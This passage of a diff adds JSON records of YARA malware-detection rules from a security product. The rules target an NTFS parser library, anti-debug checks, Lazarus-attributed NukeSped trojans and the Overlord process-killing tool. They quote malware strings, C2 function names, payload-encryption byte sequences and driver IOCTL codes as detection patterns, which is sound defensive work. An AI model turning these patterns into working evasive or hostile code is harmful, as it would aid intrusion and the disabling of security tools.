70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fc8c3078c79cd5f8708ba30fac967006721e56ca581fe121e936998b107c9017\n\n        $strings1 = \"Unrecognized File Name or FileName buffer too small\" ascii fullword\n        $strings2 = \"CAttr_VolName deleted\" ascii fullword\n        $strings3 = \"Points to sub-node\" ascii fullword\n        $strings4 = \"CIndexEntry deleted\" ascii fullword\n        $strings5 = \"Index Allocation DataRun parse error\" ascii fullword\n        $strings6 = \"Index Block parse error: Magic mismatch\" ascii fullword\n\n        // __inline void CNTFSVolume::ClearAttrRawCB()\n        $clear_attr_raw_cb = {\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 10                                   // sub     rsp, 10h\n            48 89 4D 10                                   // mov     [rbp+arg_0], rcx\n            C7 45 FC 00 00 00 00                          // mov     [rbp+var_4], 0\n            EB 1A                                         // jmp     short loc_14001AE0F\n\n                                                // loc_14001ADF5:\n            48 8B 45 10                                   // mov     rax, [rbp+arg_0]\n            8B 55 FC                                      // mov     edx, [rbp+var_4]\n            48 63 D2                                      // movsxd  rdx, edx\n            48 83 C2 06                                   // add     rdx, 6\n            48 C7 04 D0 00 00 00 00                       // mov     qword ptr [rax+rdx*8], 0\n            83 45 FC 01                                   // add     [rbp+var_4], 1\n\n                                                // loc_14001AE0F:\n            83 7D FC 0F                                   // cmp     [rbp+var_4], 0Fh\n            7E E0                                         // jle     short loc_14001ADF5\n            90                                            // nop\n            90                                            // nop\n            48 83 C4 10                                   // add     rsp, 10h\n            5D                                            // pop     rbp\n            C3                                            // retn\n        }\n\n        // BOOL CNTFSVolume::OpenVolume(_TCHAR volume)\n        $openvolume1 = \"Volume name error, should be like 'C', 'D'\" ascii fullword\n        $openvolume2 = \"\\\\\\\\.\\\\%c:\" ascii fullword\n        $openvolume3 = \"NTFS    \" ascii fullword\n\n        // BOOL CAttr_IndexAlloc::PatchUS(WORD* sector, int sectors, WORD usn, WORD* usarray)\n        // if (fr->Magic == FILE_RECORD_MAGIC)\n        $magic = { 46 49 4C 45 }                          // cmp     eax, 454C4946h\n\n        $patchus = {\n            48 8B 45 10                                   // mov     rax, [rbp+arg_0]\n            48 8B 40 08                                   // mov     rax, [rax+8]\n            0F B7 40 08                                   // movzx   eax, word ptr [rax+8]\n            66 D1 E8                                      // shr     ax, 1\n            0F B7 C0                                      // movzx   eax, ax\n            48 01 C0                                      // add     rax, rax\n            48 83 E8 02                                   // sub     rax, 2\n            48 01 45 18                                   // add     [rbp+arg_8], rax\n            48 8B 45 18                                   // mov     rax, [rbp+arg_8]\n            0F B7 00                                      // movzx   eax, word ptr [rax]\n            66 39 45 28                                   // cmp     [rbp+arg_18], ax\n            74 ??                                         // jz      short loc_140003409\n            B8 00 00 00 00                                // mov     eax, 0\n            EB ??                                         // jmp     short loc_140003439\n\n                                            // loc_140003409:\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            48 98                                         // cdqe\n            48 8D 14 00                                   // lea     rdx, [rax+rax]\n            48 8B 45 30                                   // mov     rax, [rbp+arg_20]\n            48 01 D0                                      // add     rax, rdx\n            0F B7 10                                      // movzx   edx, word ptr [rax]\n            48 8B 45 18                                   // mov     rax, [rbp+arg_8]\n            66 89 10                                      // mov     [rax], dx\n            48 83 45 18 02                                // add     [rbp+arg_8], 2\n            83 45 FC 01                                   // add     [rbp+var_4], 1\n        }\n\n        // 8a140c2f7522529fbce554cb151e03048825d1da96255a481a7ddc40e2cd44ce\n        $filter01 = \"Advanced System Repair Pro\" wide fullword\n        $filter02 = \"totalsystemcare\" wide\n        // 71bc6d75d0f0c1e16d9914757b1a57da768168254503c9565b0b815d6718d25c\n        $filter03 = \"avtar.exe\" ascii fullword\n        $filter04 = \"Reading avtar %s file %s\" ascii fullword\n\n    condition:\n        (\n            5 of ($strings*) or\n            $clear_attr_raw_cb or\n            (all of ($openvolume*) and $magic) or\n            $patchus\n        ) and not 2 of ($filter*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ntfs_parser_lib"
+  ],
+  "rule_creation_date": "2025-11-21",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.NTFSParserLib"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1006"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nt_global_check_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572085Z",
+  "creation_date": "2026-03-23T11:46:25.572088Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572094Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mahaloz/ctf-wiki-en/blob/master/docs/reverse/windows/anti-debug/ntglobalflag.md\nhttps://github.com/HackOvert/AntiDBG"
+  ],
+  "name": "nt_global_check.yar",
+  "content": "rule nt_global_flag_check {\n    meta:\n        title = \"NtGlobalFlag Anti-Debug Check\"\n        id = \"1aa5d56a-bed0-45d6-9643-1b25cd18e2ed\"\n        description = \"Detects anti-debugging checks targeting the NtGlobalFlag.\\nThe NtGlobalFlag is a system flag that is set when the system is being debugged.\\nThis rule identifies code snippets that check the NtGlobalFlag value, which is often used by malicious actors to trigger defensive mechanisms when debuggers are present.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/mahaloz/ctf-wiki-en/blob/master/docs/reverse/windows/anti-debug/ntglobalflag.md\\nhttps://github.com/HackOvert/AntiDBG\"\n        date = \"2024-09-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1622\"\n        classification = \"Windows.Generic.AntiDebug\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $nt_global_check_x86_64 = {\n                                // All r?x registers\n            6548???42560000000  // mov     rax, qword [gs:0x60]\n            488???bc000000      // mov     rax, qword [rax+0xbc {_PEB::NtGlobalFlag}] {_PEB::CriticalSectionTimeout.d}\n            4883??70            // and     rax, 0x70\n        }\n\n        $nt_global_check_x86 = {\n                               // All r?x registers\n            64??30000000       // mov     eax, dword [fs:0x30]\n            8b??68             // mov     eax, dword [eax+0x68 {_PEB::NtGlobalFlag}]\n            83??70             // and     eax, 0x70\n            89??????????       // mov     dword [ebp-0x254 {var_264}], eax\n            83bd????????00     // cmp     dword [ebp-0x254 {var_264}], 0x0\n            (74|75)            // je      0x4014e9\n        }\n\n    condition:\n        1 of ($nt_global_check_x86*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nt_global_flag_check"
+  ],
+  "rule_creation_date": "2024-09-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.AntiDebug"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1622"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nukesped_linux_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575887Z",
+  "creation_date": "2026-03-23T11:46:25.575891Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575900Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cisa.gov/news-events/analysis-reports/ar21-048d\nhttps://www.verfassungsschutz.de/SharedDocs/publikationen/EN/cyber/2024-02-19-joint-cyber-security-advisory.pdf\nhttps://twitter.com/BaoshengbinCumt/status/1764464669899588016"
+  ],
+  "name": "nukesped_linux.yar",
+  "content": "rule nukesped_232111452ee0 {\n    meta:\n        title = \"NukeSped Trojan (232111452ee0)\"\n        id = \"2d7fd57a-5ef1-422d-aa5e-232111452ee0\"\n        description = \"Detects NukeSped, a remote access trojan (RAT) attributed to the state-sponsored Lazarus APT actor.\\nNukeSped is designed to provide remote control capabilities to attackers, including file and process manipulation, and can execute arbitrary commands on an infected system. The malware establishes communication with its command-and-control (C2) server to receive instructions and exfiltrate data.\\nIt is recommended to isolate the system and perform a thorough investigation and remove all malicious components.\"\n        references = \"https://www.cisa.gov/news-events/analysis-reports/ar21-048d\\nhttps://www.verfassungsschutz.de/SharedDocs/publikationen/EN/cyber/2024-02-19-joint-cyber-security-advisory.pdf\\nhttps://twitter.com/BaoshengbinCumt/status/1764464669899588016\"\n        date = \"2024-03-15\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Linux.Trojan.NukeSped\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c\n\n        $s1 = \"https://%s%s\" ascii fullword\n        $s2 = \"%s >/dev/null 2>&1 &\" ascii fullword\n        $s3 = \"%s 2>&1 &\" ascii fullword\n        $s4 = \"Content-Type: application/x-www-form-urlencoded\" ascii fullword\n        $s5 = \"curl_easy_perform() failed: %s\" ascii fullword\n\n        $f1 = \"_Z13FConnectProxyv\" ascii fullword\n        $f2 = \"_Z14DecryptPayloadPhjS_Pj\" ascii fullword\n        $f3 = \"_Z12CryptPayloadPhjS_Pj\" ascii fullword\n        $f4 = \"_Z11RecvPayloadPhPj\" ascii fullword\n        $f5 = \"_Z11SendPayloadPhj\" ascii fullword\n        $f6 = \"_Z8SendPostP11_POST_PARAMPhPjS2\" ascii fullword\n\n        $tuid = {\n            8B 74 24 08                                   // mov     esi, [rsp+18h+var_10]\n            8B 0C 24                                      // mov     ecx, [rsp+18h+var_18]\n            41 B8 01 00 00 00                             // mov     r8d, 1\n            89 C7                                         // mov     edi, eax\n            44 89 C0                                      // mov     eax, r8d\n            D3 E0                                         // shl     eax, cl\n            89 F2                                         // mov     edx, esi\n            89 C1                                         // mov     ecx, eax\n            C1 FA 1F                                      // sar     edx, 1Fh\n            89 F0                                         // mov     eax, esi\n            F7 F9                                         // idiv    ecx\n            89 D9                                         // mov     ecx, ebx\n            89 F8                                         // mov     eax, edi\n            31 DB                                         // xor     ebx, ebx\n            41 D3 E0                                      // shl     r8d, cl\n            89 D6                                         // mov     esi, edx\n            89 FA                                         // mov     edx, edi\n            C1 FA 1F                                      // sar     edx, 1Fh\n            D3 E6                                         // shl     esi, cl\n            41 F7 F8                                      // idiv    r8d\n            09 D6                                         // or      esi, edx\n        }\n\n        $crypt_payload = {\n                                        // loc_403630:\n            48 89 C2                                      // mov     rdx, rax\n            83 E2 1F                                      // and     edx, 1Fh\n            0F B6 54 14 D8                                // movzx   edx, [rsp+rdx+var_28]\n\n                                        // loc_40363B:\n            83 C0 01                                      // add     eax, 1\n            30 17                                         // xor     [rdi], dl\n            48 83 C7 01                                   // add     rdi, 1\n            39 C6                                         // cmp     esi, eax\n            77 E8                                         // ja      short loc_403630\n\n                                        // locret_403648:\n            F3 C3                                         // rep retn\n        }\n\n    condition:\n        5 of ($s*) or\n        5 of ($f*) or\n        $tuid or\n        $crypt_payload\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nukesped_232111452ee0"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Trojan.NukeSped"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nukesped_macos_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575322Z",
+  "creation_date": "2026-03-23T11:46:25.575324Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575330Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cisa.gov/news-events/analysis-reports/ar21-048d\nhttps://twitter.com/BaoshengbinCumt/status/1764464876083188156"
+  ],
+  "name": "nukesped_macos.yar",
+  "content": "rule nukesped_e68ed9f26ff8 {\n    meta:\n        title = \"NukeSped Trojan (e68ed9f26ff8)\"\n        id = \"3b484b16-f7c9-4424-a1a2-e68ed9f26ff8\"\n        description = \"Detects NukeSped, a remote access trojan (RAT) attributed to the state-sponsored Lazarus APT actor.\\nNukeSped is designed to provide remote control capabilities and facilitate data exfiltration on macOS systems. The malware establishes persistence and communicates with its command and control (C2) server to carry out malicious activities.\\nIt is recommended to isolate the system and perform a thorough investigation and remove all malicious components.\"\n        references = \"https://www.cisa.gov/news-events/analysis-reports/ar21-048d\\nhttps://twitter.com/BaoshengbinCumt/status/1764464876083188156\"\n        date = \"2024-03-15\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"MacOS.Trojan.NukeSped\"\n        context = \"process,memory,thread,file.macho\"\n        os = \"MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // bfd74b4a1b413fa785a49ca4a9c0594441a3e01983fc7f86125376fdbd4acf6b\n        // 0b5db31e47b0dccfdec46e74c0e70c6a1684768dbacc9eacbb4fd2ef851994c7\n        // 3c8dbfcbb4fccbaf924f9a650a04cb4715f4a58d51ef49cc75bfcef0ac258a3e\n\n        $s1 = \"https://%s%s\" ascii fullword\n        $s2 = \"%s >/dev/null 2>&1 &\" ascii fullword\n        $s3 = \"%s 2>&1 &\" ascii fullword\n        $s4 = \"setHTTPShouldHandleCookies:\" ascii fullword\n        $s5 = \"setValue:forHTTPHeaderField:\" ascii fullword\n\n        $f1 = \"__Z13FConnectProxyv\" ascii fullword\n        $f2 = \"__Z14DecryptPayloadPhjS_Pj\" ascii fullword\n        $f3 = \"__Z12CryptPayloadPhjS_Pj\" ascii fullword\n        $f4 = \"__Z11RecvPayloadPhPj\" ascii fullword\n        $f5 = \"__Z11SendPayloadPhj\" ascii fullword\n        $f6 = \"__Z8SendPostP11_POST_PARAMPhPjS2\" ascii fullword\n\n        $crypt_payload_x86 = {\n            31 C0                                         // xor     eax, eax\n            48 85 FF                                      // test    rdi, rdi\n            74 ??                                         // jz      short loc_1000015E2\n            49 89 D7                                      // mov     r15, rdx\n            48 85 D2                                      // test    rdx, rdx\n            74 ??                                         // jz      short loc_1000015E2\n            49 89 CE                                      // mov     r14, rcx\n            48 85 C9                                      // test    rcx, rcx\n            74 ??                                         // jz      short loc_1000015E2\n            41 89 F4                                      // mov     r12d, esi\n            48 89 FB                                      // mov     rbx, rdi\n            85 F6                                         // test    esi, esi\n            74 ??                                         // jz      short loc_1000015A0\n            44 89 E0                                      // mov     eax, r12d\n            31 C9                                         // xor     ecx, ecx\n            48 8D 3D ?? ?? 00 00                          // lea     rdi, byte_100003740\n\n                                        // loc_10000158D:\n            89 CE                                         // mov     esi, ecx\n            83 E6 1F                                      // and     esi, 1Fh\n            8A 14 3E                                      // mov     dl, [rsi+rdi]\n            30 14 0B                                      // xor     [rbx+rcx], dl\n            48 FF C1                                      // inc     rcx\n            48 39 C8                                      // cmp     rax, rcx\n            75 ED                                         // jnz     short loc_10000158D\n        }\n\n        $crypt_payload_arm = {\n            00 00 80 52                                   // MOV             W0, #0\n            ?? ?? 00 B4                                   // CBZ             X22, loc_1000050F0\n            F4 03 02 AA                                   // MOV             X20, X2\n            ?? ?? 00 B4                                   // CBZ             X2, loc_1000050F0\n            F3 03 03 AA                                   // MOV             X19, X3\n            ?? ?? 00 B4                                   // CBZ             X3, loc_1000050F0\n            F5 03 01 AA                                   // MOV             X21, X1\n            ?? ?? 00 34                                   // CBZ             W1, loc_1000050AC\n            08 00 80 D2                                   // MOV             X8, #0\n            E9 03 15 2A                                   // MOV             W9, W21\n            ?? ?? 01 10                                   // ADR             X10, unk_100007770\n            1F 20 03 D5                                   // NOP\n\n                                        // loc_10000508C\n            CB 6A 68 38                                   // LDRB            W11, [X22,X8]\n            0C 11 40 92                                   // AND             X12, X8, #0x1F\n            4C 69 6C 38                                   // LDRB            W12, [X10,X12]\n            8B 01 0B 4A                                   // EOR             W11, W12, W11\n            CB 6A 28 38                                   // STRB            W11, [X22,X8]\n            08 05 00 91                                   // ADD             X8, X8, #1\n            3F 01 08 EB                                   // CMP             X9, X8\n            21 FF FF 54                                   // B.NE            loc_10000508C\n        }\n\n    condition:\n        5 of ($s*) or\n        5 of ($f*) or\n        1 of ($crypt_payload_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nukesped_e68ed9f26ff8"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "macos"
+  ],
+  "rule_classifications": [
+    "MacOS.Trojan.NukeSped"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.macho",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nukesped_windows_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576372Z",
+  "creation_date": "2026-03-23T11:46:25.576376Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576385Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.verfassungsschutz.de/SharedDocs/publikationen/EN/cyber/2024-02-19-joint-cyber-security-advisory.pdf"
+  ],
+  "name": "nukesped_windows.yar",
+  "content": "rule nukesped_windows {\n    meta:\n        title = \"NukeSped Trojan (Windows)\"\n        id = \"1301117a-6636-4dca-8ca3-b157cec75687\"\n        description = \"Detects NukeSped, a remote access trojan (RAT) attributed to the state-sponsored Lazarus APT.\\nNukeSped is known for its information stealing capabilities and is often used for lateral movement within infected networks.\\nIt is recommended to perform a thorough investigation of network traffic and file artifacts and to look for further signs of malicious actions on the host.\"\n        references = \"https://www.verfassungsschutz.de/SharedDocs/publikationen/EN/cyber/2024-02-19-joint-cyber-security-advisory.pdf\"\n        date = \"2024-02-26\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.execution;attack.t1129\"\n        classification = \"Windows.Trojan.NukeSped\"\n        context = \"process,memory,thread,file.pe\"\n        arch = \"x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 7a10c12b381b0e85d621700cfded5dc213b2b517915e2ab688831fd4f2d1a724\n\n        $loadlibrary = {\n            41 0F BE 09                   // movsx   ecx, byte ptr [r9]\n            4D 8D 49 01                   // lea     r9, [r9+1]\n            8B D1                         // mov     edx, ecx\n            80 E9 41                      // sub     cl, 41h ; 'A'\n            8B C2                         // mov     eax, edx\n            83 C8 20                      // or      eax, 20h\n            80 F9 19                      // cmp     cl, 19h\n            0F 47 C2                      // cmova   eax, edx\n            48 98                         // cdqe\n            4C 33 C0                      // xor     r8, rax\n            4D 0F AF ??                   // imul    r8, r14\n            49 83 EA 01                   // sub     r10, 1\n            75 D9                         // jnz     short loc_140010BB\n        }\n\n    condition:\n        #loadlibrary > 10\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nukesped_windows"
+  ],
+  "rule_creation_date": "2024-02-26",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.NukeSped"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1129",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-overlord_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581479Z",
+  "creation_date": "2026-03-23T11:46:25.581482Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581491Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ZeroMemoryEx/Overlord/\nhttps://www.loldrivers.io/drivers/edd29861-6984-4dbe-8e7c-22e9b6cf68d0/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "overlord.yar",
+  "content": "rule overlord {\n    meta:\n        title = \"Overlord HackTool\"\n        id = \"4bfdab47-31ac-42b4-b04f-3ef07fd71771\"\n        description = \"Detects Overlord, a tool that leverages the KProcessHacker.sys driver to kill protected processes.\\nOverlord is a malicious tool designed to defeat process protection mechanisms.\\nIt achieves this by loading the KProcessHacker.sys driver into the system and using it to terminate specified processes.\\nThe tool is often used to bypass process protection and gain persistence by targeting security-related processes.\\nIt is recommended to isolate the affected system, scan for and remove the malicious driver, and monitor for any signs of further unauthorized process termination activity.\"\n        references = \"https://github.com/ZeroMemoryEx/Overlord/\\nhttps://www.loldrivers.io/drivers/edd29861-6984-4dbe-8e7c-22e9b6cf68d0/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        classification = \"Windows.HackTool.Overlord\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b5a574df70e37c7867d83504c670829272a58c0a7cecf1f713f2e031947bcc60\n\n        $s_device = \"\\\\\\\\.\\\\GlobalRoot\\\\Device\\\\KProcessHacker2\" wide ascii\n        $s_winapi_01 = \"CreateFile\" wide ascii\n        $s_winapi_02 = \"DeviceIoControl\" wide ascii\n        $s_winapi_03 = \"OpenProcessToken\" wide ascii\n        $s_winapi_04 = \"GetCurrentProcess\" wide ascii\n        $s_winapi_05 = \"LookupPrivilegeValue\" wide ascii\n        $s_winapi_06 = \"SeDebugPrivilege\" wide ascii\n        $s_winapi_07 = \"AdjustTokenPrivileges\" wide ascii\n        $ioctl_kill = { (99 99 20 df|df 20 99 99) }\n        $ioctl_suspend = { (99 99 20 d7|d7 20 99 99) }\n\n    condition:\n        1 of ($ioctl_*)\n        and all of ($s_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "overlord"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Overlord"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-packer_fin7_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571750Z",
+  "creation_date": "2026-03-23T11:46:25.571753Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571758Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/"
+  ],
+  "name": "packer_fin7.yar",
